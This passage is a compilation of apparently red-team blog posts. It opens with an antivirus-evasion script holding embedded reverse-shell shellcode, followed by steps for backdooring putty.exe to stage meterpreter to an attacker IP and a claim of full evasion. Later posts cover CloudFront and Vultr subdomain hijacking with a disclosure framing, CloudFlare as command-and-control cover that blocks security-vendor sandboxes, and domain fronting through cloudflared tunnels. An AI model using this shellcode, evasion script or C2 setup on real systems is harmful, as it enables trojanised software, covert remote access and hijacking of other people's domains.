CODE += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"  
CODE += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"  
CODE += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

string = ""

debug = 1

def getNew(old, list):  
    for i in list:
        if i[0]  old:
            return i[1]
    return 0

print "==========================\r\n"

print "[+] vySEC: SIGNATURE BREAK\r\n"  
if len(sys.argv) != 3:  
    print ("[+] USAGE: %s <VALUE1> <VALUE2>" % sys.argv[0])
    print "[+] <VALUE1>: Number of NOPs to add between normal operations as well as calls"
    print "[+] <VALUE2>: Number of NOPs to add when a short jump or loop is found"
else:

    md = Cs(CS_ARCH_X86, CS_MODE_32)
    print "==========================\r\n"

    nops = 0
    relfound = 0
    reflist = []
    oldop=[]

    for i in md.disasm(CODE, 0x0):
        string += binascii.hexlify(i.bytes)
        quick = (binascii.hexlify(i.bytes))
        reflist.append((i.address, i.address+nops))
        oldop.append((i.address,quick,i.op_str,i.address+nops))
        if quick[0]  "7" or (quick[0:2]  "e3") or (quick[0:2]  "e9") or (quick[0:2]  "eb"):         #finds jumps
            string += "90"*int(sys.argv[2])
            nops += int(sys.argv[2])
            relfound += 1
            #oldop.append((i.address,quick,i.op_str,i.address+nops))
        else:
            if (quick[0:2]  "e2") or (quick[0:2]  "e0") or (quick[0:2]  "e1"):    #finds loops
                string += "90"*int(sys.argv[2])
                nops += int(sys.argv[2])
                relfound += 1
                #oldop.append((i.address,quick,i.op_str,i.address+nops))
            else:
                if (quick[0:2]  "e8"): #find calls
                    string += "90" * int(sys.argv[1])
                    relfound += 1
                    #oldop.append((i.address,quick,i.op_str,i.address+nops))
                else:
                    string += "90"*int(sys.argv[1])
                nops += int(sys.argv[1])

    newlen = 0

    print "[+] Detection"
    print "    =====\r\n"
    print "[+] OP TYPE\tOLD\t\tNEW\t\tBYTES\t\tOLD\t\tNEW"
    print "=================================================================================="
    newop = []
    for op in oldop:
        for i in reflist:
            if (hex(i[0]).split("L")[0])  op[2]:
                #print "%s\t->\t%s" % (hex(i[0]).split("L")[0], hex(i[1]).split("L")[0])

                if op[1][0]  "7" or (op[1][0:2]  "e3") or (op[1][0:2]  "e9") or (op[1][0:2]  "eb"):         #finds jumps
                    if (len(op[1]) > 4):
                        print "* FOUND JUMP:\t0x%x\t->\t0x%x\t\t%s\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
                    else:
                        print "* FOUND JUMP:\t0x%x\t->\t0x%x\t\t%s\t\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
                else:
                    if (op[1][0:2]  "e2") or (op[1][0:2]  "e0") or (op[1][0:2]  "e1"):    #finds loops
                        print "* FOUND LOOP:\t0x%x\t->\t0x%x\t\t%s\t\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
                    else:
                        if (op[1][0:2]  "e8"): #find calls
                            print "* FOUND CALL:\t0x%x\t->\t0x%x\t\t%s\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])


    print "\r\n"
    print string


    for i in md.disasm(string, 0x0):
        newlen += 1

    print "\r\n"
    print "[+] Statistics"
    print "    ==========\r\n"
    print "* Relative location operations: %s" % int(relfound)
    print "* NOPs Added: %s" % int(nops)
    print "* Number of operations: %s" % int(newlen)
    print "* Final Shell code length: %s" % int(len(string)/2)

    print "\r\n"

    """if debug:
        print "[+] Debug"
        print "    =====\r\n"

        for i in md.disasm(binascii.unhexlify(string), 0x0):
            print "0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)
        print "\r\n"

        #for i in reflist:
        #   print "%s -> %s" % (int(i[0]), int(i[1]))

        print "\r\n"
    """
```

As you can see, you can simply replace the shell code in the script.

```
[+] vySEC: SIGNATURE BREAK

[+] USAGE: python vySIGBREAK.py  
[+] : Number of NOPs to add between normal operations as well as calls (4 byte operands)

[+] : Number of NOPs to add when a short jump or loop is found (1 byte operands)
```

A usage example would be:

```
python vySIGBREAK.py 1 4
```

This would make space for any short jumps that can no longer jump to their original destinations, so we can amend them with long jumps.

The following is an example output shell code:

```
fc90e88200000090609089e59031c090648b5030908b520c908b5214908b7228900fb74a269031ff90ac903c61907c02909090902c2090c1cf0d9001c790e2f290909090529057908b5210908b4a3c908b4c117890e3489090909001d19051908b59209001d3908b491890e33a9090909049908b348b9001d69031ff90ac90c1cf0d9001c79038e09075f690909090037df8903b7d249075e49090909058908b58249001d390668b0c4b908b581c9001d3908b048b9001d09089442424905b905b90619059905a905190ffe0905f905f905a908b1290eb8d909090905d90683332000090687773325f905490684c77260790ffd590b8900100009029c490549050906829806b0090ffd5906a059068c0a801829068020001bb9089e6905090509050905090409050904090509068ea0fdfe090ffd59097906a1090569057906899a5746190ffd59085c090740a90909090ff4e089075ec90909090e861000000906a00906a0490569057906802d9c85f90ffd59083f800907e36909090908b36906a409068001000009056906a00906858a453e590ffd590939053906a00905690539057906802d9c85f90ffd59083f800907d229090909058906800400000906a00905090680b2f0f3090ffd590579068756e4d6190ffd5905e905e90ff0c2490e971ffffff9090909001c39029c69075c790909090c390bbf0b5a256906a00905390ffd590
```

Pasting this into ODA we get the following output as displayed in the screenshot.

![](/files/-LQ35Sm6fwv2qYS5Nq-W)

As we can see, the operation codes are all safe and not corrupted thanks to Capstone Engine. However, the jumps are still jumping relative to their location and hence are corrupted. We need to resolve all of the relative operations. The script also provides an output displayed in the following screenshot.

![](/files/-LQ35URtRUpmAwqQnR-V)

This helps us drastically in fixing all of the operations manually. The next section will cover the process of resolving the issue of the offsets pointing to the wrong locations.

### Injection Part 1: Labelling <a href="#injectionpart1labelling" id="injectionpart1labelling"></a>

In this section, I will assume that you have read Backdoor 101 and 102. This requires the understanding of how to align and preserve the stack and flags.

First, gather some information from the script output as displayed in the following screenshot.

![](/files/-LQ35WJRH-RcERAqye0J)

We can see that the final shell code length is 518 bytes. Therefore we need at least an extra 10 bytes. Therefore, in Ollydbg, we must find a safe to use code cave of at least 520 bytes or we can use the knowledge from Backdoor 102 to split the shell code. In this tutorial, I will use a single block of space as opposed to multiple smaller ones. We also understand that there are 15 relative location operations.

The following screenshot highlights the column that we are using to set labels, we must go through each offset position in the shell code and set a label from a1 to a15.

![](/files/-LQ35ZQYJJapjiwHEDD3)

In Ollydbg, we go to the shell code and double click on the following indicated location to set a relative pointer to help us calculate the positions in the shell code. After setting the pointer at the beginning of the shell code, we must go to every offset on the list highlighted above and label them (taught in Backdoor 102) from a0 to a15.

![](/files/-LQ35_LOSOnLCR7H1zUA)

After you have labelled all 15 offsets, continue to the following section on fixing the operations.

### Injection Part 2: Fixing the operations <a href="#injectionpart2fixingtheoperations" id="injectionpart2fixingtheoperations"></a>

This part of the injection process highlights how to fix the relative operations.

![](/files/-LQ35azqOupFfQl14xnL)

Go to each of the above offsets. Following the knowledge from Backdoor 102, we can double click on each operation and change the operand to a value in a0 to a15 as appropriate.

![](/files/-LQ35ejJWKeqdSz1Hn1J)

However, as the shell code is now shifted and some offsets may be outside of the range of a short jump, we may need to translate some jumps into long jumps. The following screenshot shows the error that will be displayed when this occurs.

![](/files/-LQ35gJeiV0EseZc981T)

Thanks to assigning extra bytes for short jumps, we have 4 extra bytes following which can be used translate this to a long jump by typing the following as displayed in the screenshot below.

This resolves the issue of not having enough space in 1 byte to jump around the shell code. After completing all of the fixes, we save everything and we have a fully usable back door. Do not forget to align the stack and also jump from the a point along the exit process execution flow, fixing the broken instruction and jumping back to the rest of the execution flow.

### Testing the back door <a href="#testingthebackdoor" id="testingthebackdoor"></a>

Just to complete the post, it is important to have a section on the actual testing of the back door. Therefore, as per usual we set up the environment. My attacking box has the IP 192.168.1.130 and is listening on port 443 to stage meterpreter over.

We first execute the backdoor on the target host as displayed in the screenshot below.

![](/files/-LQ35o_BU4oKDCP0lVyV)

We then click the exit button and putty closes as per usual. Displayed below.

![](/files/-LQ35qONrgI7QjdCASyn)

After performing this, we look back over at the attacking box. The following screenshot shows a session being established and meterpreter being staged.

![](/files/-LQ35sJtM64ctMJ_4K-m)

### Results and conclusion <a href="#resultsandconclusion" id="resultsandconclusion"></a>

This section of the post will highlight the fact that antivirus scanners are not yet able to deal with changes in the shell code. The following screenshot shows that I have bypassed every single antivirus scanner. Jiangmin and NANO-Antivirus was already detecting putty.exe by default. The next post Backdoor 104 will build upon how to detect the signature that Jiangmin and NANO-Antivirus uses then we can use the unrolling technique described previously to fight against these signatures if we have limited space. This next post may be interesting for the readers who are looking to have their own private repository of undetected tools.

We can see that the back door is 100% fully undetected (FUD). The 2 antiviruses which detected the executable was due to it detecting the default putty but not the back door we have implanted.

![](/files/-LQ35udwc3-eEKA7YHcD)

I hope this tutorial teaches and raises the awareness of the dangers in pressing any button on any application. It may well trigger a connection out to a malicious actor. Thank you once again for reading my post. Any criticism, recommendations or advice will be much appreciated. The injection parts were rather vague but it does not get much easier as we already have a script that does most of it. The next script I will release will be able to fully automate this process and become a copy and paste to use shell code tool.


# Cloud Security

Posts related to Cloud security.


# CloudFront Domain Hijacks under Attack

Update: To my attention in April, it appears that Mindpoint may have been behind the automated assigning of the hijackable instances. See <https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/> This is great, but CloudFront’s engineers definitely missed a whole lot, so I’m not sure if they actually see the problem. Given that they have access to an internal DB of all instances they can easily run queries for it. They wouldn’t need to scan for hijackable states externally like an attacker would, so why would they miss some?…

TLDR; As of **27th March 2018**, I found that an entity or malicious actor has exploited the following vulnerability that allows for subdomain hijacking at a large global scale. This post is here to inform the public so that they may ensure that they are not leaving their domains open to control by this third party. I am not sure on the exact date that the hijack started.

**Note: I am not putting you at further risk that you already are by putting it on GitHub to help you identify it. The attackers / third party have already taken control over an instance that can control your domain name. If you want your domain removed, get in contact with me.**

### What is the attack or issue? <a href="#whatistheattackorissue" id="whatistheattackorissue"></a>

CloudFront domain hijacking has always been under the radar of bug bounty hunters. CloudFront does not require domain validation whatsoever when specifying a CNAME, this means that anyone can say that they own the domain pointed to by the CNAME record.

An attacker can discover abandoned CloudFront instances by fingerprinting the response from the CloudFront server when attempting to visit a domain but the resource is not available. This tends to indicate that the domain is hijackable and that the attacker can create a new CloudFront instance, and assign a CNAME of that domain to be able to serve content under that domain name.

For example, you use CloudFront and you set up the following record:

```
cdn.contoso.com CNAME dxxxxxxxxxx.cloudfront.net
```

After a certain amount of time, you no longer want to use CloudFront here, so you delete the CloudFront instance. Either that, or your “Cloud” management team have decided to go and remove any unnecessary CloudFront instances to save resources and money. After doing this, your “Cloud” management team had not informed your DNS management team to delete the CNAME records. This means that the attacker can register a new instance on CloudFront with a CNAME of cdn.contoso.com and serve content under your domain.

#### How are you so sure that Amazon did not just reserve these themselves to protect their customers? <a href="#howareyousosurethatamazondidnotjustreservethesethemselvestoprotecttheircustomers" id="howareyousosurethatamazondidnotjustreservethesethemselvestoprotecttheircustomers"></a>

If Amazon had performed these actions to protect their customers, more obscure domains would not be hijackable still. I was still able to perform a hijack on a domain that was DNS proxied through another provider. This meant that it was not as trivial for the third party or attacker to identify this particular hijack.

If Amazon were to fix it, they would be already have logs of all previous CNAME records attached and would be able to notify customers if they had not removed the CNAME record after deleting the instances.

### How do I know if we have vulnerable subdomains? <a href="#howdoiknowifwehavevulnerablesubdomains" id="howdoiknowifwehavevulnerablesubdomains"></a>

Look through all of your subdomains to see if you use CloudFront. If you do, make sure all of those instances are attached to an actual instance on CloudFront with a CNAME record set to that subdomain you found.

If you don’t have access to that instance with the CNAME record you found, then you should try and create an instance with that CNAME record (THAT YOU OWN). If it’s not possible and it says that it is in-use, someone else has control over your subdomain and is able to \*\*flip the switch \*\*at anytime and serve content under your domain name. This means issuing SSL certificates, phishing users or even using this as a watering hole to attack visitors.

You put your CNAME in the following location when creating a new instance:

![](/files/-LQ2lY0f0fZ-FqfNqONa)

When registering an instance with your “suspected” hijacked CNAME, and you get the following error, you know that someone else has control of your CNAME on CloudFront:

![](/files/-LQ2lcfE5AdWmZ3Z4wel)

You can also check if you exist on a list of hijacks that I enumerated and made public on <https://github.com/vysecurity/CloudFrontHijacks>. I do not believe that any of these can be further hijacked at this time as the third party entity appears to have automated the process and mass-reserved all of the hijacks. I do not have the ability to report 1 by 1 to 2000 CloudFront users, whether they even care about their domain being hijacked or not. This is as good as I can do in terms of responsible disclosure to ensure that everyone has the ability to easily check if they are immediately vulnerable.

### How do I fix it? <a href="#howdoifixit" id="howdoifixit"></a>

* Remove the CNAME record if you don’t use the instance anymore
* Obtain access to the CloudFront instance, you might be able to contact Amazon, and prove that you own the domain so that they can switch ownership back to you— who knows?
* If you need any more help, just ask me on Twitter DM [@vysecurity](https://twitter.com/vysecurity)

### How do I stop this from happening? <a href="#howdoistopthisfromhappening" id="howdoistopthisfromhappening"></a>

* Don’t delete CloudFront instances after you use them, just disable them.
* If you want to delete the instance, make sure that you remove the CNAME record pointing to Amazon CloudFront edge nodes.

#### Further references to known use in bug bounty and offensive demonstrations <a href="#furtherreferencestoknownuseinbugbountyandoffensivedemonstrations" id="furtherreferencestoknownuseinbugbountyandoffensivedemonstrations"></a>

* [\*\*https://blog.zsec.uk/subdomainhijack/](https://blog.zsec.uk/subdomainhijack/)\*\*
* <https://blog.securitybreached.org/2017/10/10/subdomain-takeover-lamborghini-hacked/>
* <https://blog.sweepatic.com/subdomain-takeover-principles/>


# Vultr Domain Hijacking

TLDR: Vultr does not verify domain ownership when adding new domains. This allows the hijack of abandoned domains by pretty much anyone with an account and *verified payment method*

#### Disclosure Timeline <a href="#disclosuretimeline" id="disclosuretimeline"></a>

`2018/04/09`: Reported to Vultr to see if they will fix and accept under bug bounty program.\
`2018/04/13`: Won't fix at this time. System is *designed* to not require verification. This is just a *side effect*.

### Vultr DNS Service <a href="#vultrdnsservice" id="vultrdnsservice"></a>

Vultr's DNS service does not use DNS verification. This means that anyone can take management of the domain name that's pointing to ns\[02].vultr.com. Below shows some screenshots of the interface used to add new domains to your DNS service management section of Vultr.

![](/files/-LQ2m3_pvpoKGk0xF_A4)

No verification of the domain is needed to add it, as shown below:

![](/files/-LQ2m50DMHL5X6ahs1Tu)

A payment method is required before you can start using the DNS services, but you don't need to verify payment to be able to check if a domain exists already on the Vultr DNS system. The following screenshot shows a list of payment methods that are accepted, so you can verify payment using gift codes, and Bitcoin.

![](/files/-LQ2m8BhlDxNUbol-b35)

Great, but there's also an API available to automate adding new domains, and Vultr links to it nicely. See <https://www.vultr.com/docs/introduction-to-vultr-dns> and <https://www.vultr.com/api/#dns>

It was trivial to set up a parallel curl command to perform this but I decided to use Burp Intruder with 2 threads at 750 ms per request (+latency Vultr). There's a maximum of 2 requests a second. The following request will add a new domain to your account.

```
POST /v1/dns/create_domain HTTP/1.1
Host: api.vultr.com
API-Key: YOURVULTRAPIKEY
domain=$domain.com$&serverip=127.0.0.1
```

A possible addition will yield a response similar to the following:

```
HTTP/1.1 412 Request Failed
Server: nginx
Date: Mon, 09 Apr 2018 01:21:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-User: YOURVULTREMAILADDRESS
Content-Length: 80

Unable to create domain: To begin adding domains, please link a payment method!
```

I get the above error message because I used an account with no payment info attached. Once I got the domains, I decided to just add it on my main account.

An invalid attempt will yield the following response:

```
HTTP/1.1 412 Request Failed
Server: nginx
Date: Mon, 09 Apr 2018 01:13:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-User: YOURVULTREMAILADDRESS
Content-Length: 47

Unable to create domain: Domain already exists
```

By comparing response length in Burp, it is easy to see which domains are vulnerable:

![Intruder sorted by content length](/files/-LQ2mB5PaUf_klJjaCT6)

### Why would any domain ever be configured this way? <a href="#whywouldanydomaineverbeconfiguredthisway" id="whywouldanydomaineverbeconfiguredthisway"></a>

1. A Vultr customer decides to use their DNS services so they point their domain at their nameservers.
2. At this point, either they never added the domain name to their control panel in Vultr or they had later removed it after wanting to stop using their services.
3. Either way, the attacker could find that it's no longer registered on Vultr and add it to their Vultr DNS control panel.
4. Attacker now has control over records and hijacks the domain.

### Domains <a href="#domains" id="domains"></a>

So you have a way to add domains, and test if they're vulnerable based on response. How do you get the list of domains to try?

Remember that I released a tool called [DomLink](https://vincentyiu.co.uk/domlink-automating-domain-discovery/) a couple of days ago? I was also working on many other DNS tools. I found viewdns.info, which has reverse NS lookups. EXACTLY what want to find right? Old cached reverse NS lookups that may or may not be currently valid.<br>

![](/files/-LQ2mF37IbohWAAdNNyF)

Taking all of these domains, we go through a filtering process to find current domains pointing to ns1.vultr.com still. I used the following command:

```
cat vultr-ns1.txt | parallel -j 32 “dig {} +short ns | head -n 1 | sed -e ‘s/^/{}:/g’ | grep [vultr.com](http://vultr.com/) | tee -a vultr-go.txt”
```

Fantastic, now I had a list of about 10,000 domains.

### Example Hijacking <a href="#examplehijacking" id="examplehijacking"></a>

![](/files/-LQ2mI20pBoEfguQnEca)

![](/files/-LQ2mKCgraZxObKEFnOG)

### Results <a href="#results" id="results"></a>

As you'd expect, this isn't a particularly widespread issue. In fact, I had only found about **10 hijackable domains** and were mainly non-reputable in terms of proxy categorization and trust. The reputation issue is probably due to it being Vultr’s service and although my opinion is biased, has not yet attracted the bigger companies. More reputable companies use clouds such as Amazon, Azure, and Alibaba — probably due to their reputation. Nevertheless, it's still important that customers are aware and are cautious when using such services. For the general public, it's worth keeping track and maintain your DNS entries - whether these be NS records or CNAME records.

We can see that over the last few months, I and a few other researchers have begun to release our information on using services that do not validate domain ownership to hijack abandoned instances. It's definitely a trend and it's something that many cloud providers, small and large alike, across the board seem to be struggling with.

**Solution: Require another domain verification step before allowing the user to add their domain to your service, and take control of that domain.**


# CloudFlare for Command and Control

CloudFlare has a free service that protects your website against DDoS attacks, crawling, brute-force, and generic web application attacks. That's all great, but it also offers quick content delivery through its fast network, URL rewrite, caching rules, firewall rules, user-agent blocking, analytics, and even SSL certificates issued by CloudFlare!

For an adversary simulation shop looking to use traditional HTTP/S infrastructure for initial C2, this could prove to be a useful option. It adds a lot of features that can be gotten from Apache rules and such but through a web GUI - making it insanely easy to install.

### Setting up CloudFlare <a href="#settingupcloudflare" id="settingupcloudflare"></a>

It's relatively simple to set up CloudFlare, you sign-up and insert your domain name. CloudFlare will then request that you set your nameservers to theirs, doing so will give them access over the DNS for your domain. I'd like to think CloudFlare is relatively trust-worthy, given that we're doing this for legitimate purposes.

After you've done this, and CloudFlare confirms that it has control over your DNS records you will get an e-mail from them saying your website is ready. I would suggest going into the lessons learned below and set Development mode to on. SSL is configured and issued automatically for your domain by CloudFlare - fantastic.

### Lessons learnt <a href="#lessonslearnt" id="lessonslearnt"></a>

CloudFlare by default loves to cache items. When setting up CloudFlare for C2, you must put the instance into Development mode, as shown below:

![](/files/-LP7SxiKUS3f8GQqAdJN)

This ensures that your requests will always provide fresh responses.

### Other useful options <a href="#otherusefuloptions" id="otherusefuloptions"></a>

Under `Crypto`, you can also set to always use HTTPS to on. This will force HTTPS to always be in-use and so that end-users cannot connect via. HTTP.

*Page Rules* are another useful feature that allow you to set up to 3 page rules for free that will essentially work the same way that Apache mod re-write works. You can even forward the web root to a legitimate website.

Under *firewall* you can specify firewall rules based on Country, ASN, or even IP ranges. This is especially useful if you want to white-list a certain country so that you don't receive a shell for a country you're not targeting. It helps with scope control. You can also combine this functionality with [Jason Lang](https://twitter.com/curi0usJack)'s [list of popular security company IP ranges](https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw/c54c9e83f2b4b87087c9ea4527be1b878c9f832d/apacherules) to prevent their security appliances from connecting to your infrastructure. This helps to prevent Sandboxes from analysing the payload in some scenarios, or even obtaining a stage, or decryption key.

*User-agent blocking* is another useful feature that can be deployed to force known incident user-agents such as `curl` and `wget` to a CloudFlare block page.

*CF-IPCountry* is header that's included in the CF request to your origin. If you can view this header, it can be used to quickly identify what country the request is coming from.

### Other options to be wary of <a href="#otheroptionstobewaryof" id="otheroptionstobewaryof"></a>

*E-mail address obfuscation* under *scrape shield* might affect your C2 channel if your response has any e-mail addresses in the body. The e-mail addresses are essentially replaced with an image representation to prevent automatic scraping tools.

### Additional opsec and overall security <a href="#additionalopsecandoverallsecurity" id="additionalopsecandoverallsecurity"></a>

I'd take the CloudFlare IP address ranges and use iptables to block any origin other than CloudFlare. This prevents direct access to your server. For more information on how to do this, refer to [this link here](https://support.cloudflare.com/hc/en-us/articles/200169166-How-do-I-whitelist-Cloudflare-s-IP-addresses-in-iptables-).

For those who don't want to bother clicking on another link:

```
sudo apt-get install ipset
ipset create cf hash:net
for x in $(curl https://www.cloudflare.com/ips-v4); do ipset add cf $x; done
iptables -A INPUT -m set --match-set cf src -p tcp -m multiport --dports http,https -j ACCEPT
```

Once again, you're trusting CloudFlare to not get hacked, or for them to not stick in a command injection at that `curl` URL specified.

I wrote this command that does some validation that might work better (untested):

```
curl https://www.cloudflare.com/ips-v4 | sort -u | grep -e '^\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}\/[0-9]\{2\}'
| sed -e 's/^/sudo iptables -I INPUT -s /g' | sed -e 's/$/ -j ACCEPT/g' | bash

sudo iptables -I INPUT -s 0.0.0.0/0 -j DROP
```

### Conclusion <a href="#conclusion" id="conclusion"></a>

I've written this blog post to help adversary simulation professionals in the professional Cyber security community to better help protect the world from malicious attackers. Use of CloudFlare for malicious purposes will most likely result in swift and prompt take-down anyways - no point wasting your time trying.

CloudFlare helps to extrapolate a lot of the configuration file changes required when using Apache mod re-write as well as the task of issuing certificates.


# Command and Control

Posts related to Domain Fronting and infrastructure deployment.


# TryCloudFlare Infrastructure and Domain Fronting

Use TryCloudFlare's free service for reverse NAT tunnels, and at the same time, domain front to hide the real identity of the server.

## CloudFlareD

Cloudflared is a service provided by Cloudflare, for similar functionality to Ngrok. Building out containers with Listening Posts, we usually don't have an IP address. Instead of purchasing another server to be used as a redirector, using Cloudflared may be a good alternative.

The reason why I'm not using services such as Ngrok and Heroku is usually that the reputation is not as strong as Cloudflare. Cloudflare is probably one of the most reputable Content Delivery Networks out there.

Basically, we can have a server, running anywhere in the world, which can connect to the Cloudflare network, and connect it to the network which then allows CloudFlare to connect back into your service and serve the website.

## CloudFlared connections

![A rough breakdown of what's happening.](/files/-Mg_XT7H6tpguLpK9C3m)

As far as Unlucky Fella is concerned, he never connects to the bad blue sea. He only connects to the trusted Cloudflare network and IP addresses. Moreover, depending on where the Unlucky Fella is located, he probably gets different IP addresses to the closest lovely Cloudflare node. That'll make it more difficult for low detection maturity organizations to defend and block accurately.

## Establishing the Cloudflared connection

Inside a Docker container with a C2 setup, all you have to do is install Cloudflared. Installation guide at <https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/install-and-setup>

Pick out what installation file you're going to use and just install it.

![Various installation file formats available.](/files/-Mg_YLlwitKHtM0GRQy8)

Nowdays, I use a lot of ARM64, so I'll select that.

```
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64.deb
dpkg -i cloudflared-linux-arm64.deb
```

After installation, you can run `cloudflared`, I exposed my local port 443 which uses a self-signed certificate (never exposed to anyone but Cloudflare).

Run the command:

```
cloudflared tunnel --url https://localhost:443 --no-tls-verify
```

Output:

```
root@3bdc15ad8136:~/cobaltstrike# cloudflared tunnel --url https://localhost:443 --no-tls-verify
2021-08-08T10:50:39Z INF Cannot determine default configuration path. No file [config.yml config.yaml] in [~/.cloudflared ~/.cloudflare-warp ~/cloudflare-warp /etc/cloudflared /usr/local/etc/cloudflared]
2021-08-08T10:50:39Z INF Version 2021.8.1
2021-08-08T10:50:39Z INF GOOS: linux, GOVersion: devel +11087322f8 Fri Nov 13 03:04:52 2020 +0100, GoArch: arm64
2021-08-08T10:50:39Z INF Settings: map[no-tls-verify:true url:https://localhost:443]
2021-08-08T10:50:39Z INF cloudflared will not automatically update if installed by a package manager.
2021-08-08T10:50:39Z INF Initial protocol h2mux
2021-08-08T10:50:39Z INF Starting metrics server on 127.0.0.1:37741/metrics
2021-08-08T10:50:40Z INF Connection established connIndex=0 location=SJC
2021-08-08T10:50:43Z INF Each HA connection's tunnel IDs: map[0:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g]
2021-08-08T10:50:43Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:43Z INF |  Your free tunnel has started! Visit it:                        |
2021-08-08T10:50:43Z INF |    https://basis-continually-variables-trips.trycloudflare.com  |
2021-08-08T10:50:43Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:43Z INF Route propagating, it may take up to 1 minute for your new route to become functional
2021-08-08T10:50:44Z INF Connection established connIndex=1 location=HKG
2021-08-08T10:50:44Z INF Connection established connIndex=2 location=SJC
2021-08-08T10:50:45Z INF Connection established connIndex=3 location=HKG
2021-08-08T10:50:47Z INF Each HA connection's tunnel IDs: map[0:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g 2:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g]
2021-08-08T10:50:47Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:47Z INF |  Your free tunnel has started! Visit it:                        |
2021-08-08T10:50:47Z INF |    https://basis-continually-variables-trips.trycloudflare.com  |
2021-08-08T10:50:47Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:47Z INF Route propagating, it may take up to 1 minute for your new route to become functional
2021-08-08T10:50:48Z INF Each HA connection's tunnel IDs: map[0:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g 1:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g 2:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g]
2021-08-08T10:50:48Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:48Z INF |  Your free tunnel has started! Visit it:                        |
2021-08-08T10:50:48Z INF |    https://basis-continually-variables-trips.trycloudflare.com  |
2021-08-08T10:50:48Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:48Z INF Route propagating, it may take up to 1 minute for your new route to become functional
2021-08-08T10:50:50Z INF Each HA connection's tunnel IDs: map[0:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g 1:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g 2:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g 3:a1e94g4lhp39dshlv9z9n2e5npf3ulavsps4avfcve9vvqacuf4g]
2021-08-08T10:50:50Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:50Z INF |  Your free tunnel has started! Visit it:                        |
2021-08-08T10:50:50Z INF |    https://basis-continually-variables-trips.trycloudflare.com  |
2021-08-08T10:50:50Z INF +-----------------------------------------------------------------+
2021-08-08T10:50:50Z INF Route propagating, it may take up to 1 minute for your new route to become functional
2021-08-08T11:13:32Z ERR  error="Unable to reach the origin service. The service may be down or it may not be responding to traffic from cloudflared: readLoopPeekFailLocked: remote error: tls: user canceled" cfRay=67b850e0d8d31969-HKG originService=https://localhost:443
2021-08-08T11:13:34Z ERR  error="Unable to reach the origin service. The service may be down or it may not be responding to traffic from cloudflared: remote error: tls: user canceled" cfRay=67b850ede8a21943-HKG originService=https://localhost:443
```

Once this is set up, you can use the URL to visit the C2 to make sure it works.

![Trust me, it works.](/files/-Mg_Z26uhYFqbrckFwmh)

And see the corresponding request in the C2 server logs:

![Yes, it really works.](/files/-Mg_ZBnqaTDeuDwsKBca)

What next?

## Domain Fronting using TryCloudFlare

Quick `subfinder` and `httpx` gives this:

```
https://bryant-hey-scores-confused.trycloudflare.com
https://brands-celebrities-framing-religions.trycloudflare.com
https://aye-complaint-cap-tooth.trycloudflare.com
https://blonde-appropriate-aware-telecom.trycloudflare.com
https://alpha-bent-beds-initially.trycloudflare.com
https://basically-analysts-understood-climbing.trycloudflare.com
https://associates-boulevard-compare-headline.trycloudflare.com
https://ceremony-dir-phrases-coordinated.trycloudflare.com
https://believe-proud-answered-aerial.trycloudflare.com
https://allah-assigned-canal-lbs.trycloudflare.com
https://austria-chronic-static-donate.trycloudflare.com
https://contest-split-wheel-girl.trycloudflare.com
https://answering-aluminium-viewer-colorado.trycloudflare.com
https://creativity-eligible-concert-info.trycloudflare.com
https://crop-chamber-random-style.trycloudflare.com
https://clothes-respected-par-secretary.trycloudflare.com
https://discuss-videos-adds-imaging.trycloudflare.com
https://deutschland-maui-procedures-mark.trycloudflare.com
https://bull-bibliography-specialty-avi.trycloudflare.com
https://envelope-replace-consultancy-diagram.trycloudflare.com
https://forty-advertisement-flags-slight.trycloudflare.com
https://flex-fountain-pics-brooks.trycloudflare.com
https://confirmation-pb-voices-indianapolis.trycloudflare.com
https://folk-corn-explosion-radius.trycloudflare.com
https://helpful-others-bits-beautiful.trycloudflare.com
https://gulf-holocaust-grace-microwave.trycloudflare.com
https://headquarters-taiwan-boulevard-sentences.trycloudflare.com
https://good-synthetic-chancellor-automated.trycloudflare.com
https://hiv-co-object-loose.trycloudflare.com
https://invited-insider-thomas-mcdonald.trycloudflare.com
https://horse-expo-pierre-banana.trycloudflare.com
https://images-completing-griffin-title.trycloudflare.com
https://guyana-senator-ab-impose.trycloudflare.com
https://jonathan-started-buyers-honduras.trycloudflare.com
https://leaving-nicaragua-violations-connect.trycloudflare.com
https://increasing-novel-shorter-prefix.trycloudflare.com
https://intermediate-sheffield-conclusions-gender.trycloudflare.com
https://fence-small-rendered-permits.trycloudflare.com
https://itunes-cardiovascular-apparel-checks.trycloudflare.com
https://lexus-asbestos-singapore-efficiently.trycloudflare.com
